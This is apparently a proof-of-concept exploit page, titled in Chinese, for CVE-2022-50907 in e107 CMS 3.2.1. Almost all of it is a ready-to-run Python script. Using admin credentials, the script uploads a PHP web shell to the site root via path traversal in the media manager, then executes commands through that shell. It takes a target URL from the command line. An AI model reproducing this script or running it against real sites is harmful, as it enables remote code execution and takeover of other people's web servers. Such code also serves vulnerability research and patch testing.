CVE-2022-50907: e107 CMS 3.2.1 管理员文件上传绕过导致RCE

import requests import sys # CVE-2022-50907 PoC - e107 CMS File Upload RCE # Target: e107 CMS 3.2.1 # Vulnerability: Admin authenticated file upload bypass via path traversal def exploit(target_url, username, password): """ Exploit CVE-2022-50907 """ session = requests.Session() # Step 1: Login as admin login_url = f"{target_url}/e107_admin/login.php" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data) # Step 2: Upload malicious PHP file via media manager upload_url = f"{target_url}/e107_admin/media.php" # Path traversal to upload to web root files = { "file": ("../../../shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php") } data = { "mode": "import", "upload_path": "../../.." } resp = session.post(upload_url, files=files, data=data) # Step 3: Execute command via uploaded webshell shell_url = f"{target_url}/shell.php" cmd = "whoami" exec_url = f"{shell_url}?cmd={cmd}" resp = session.get(exec_url) print(f"Command output: {resp.text}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <admin_user> <admin_pass>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])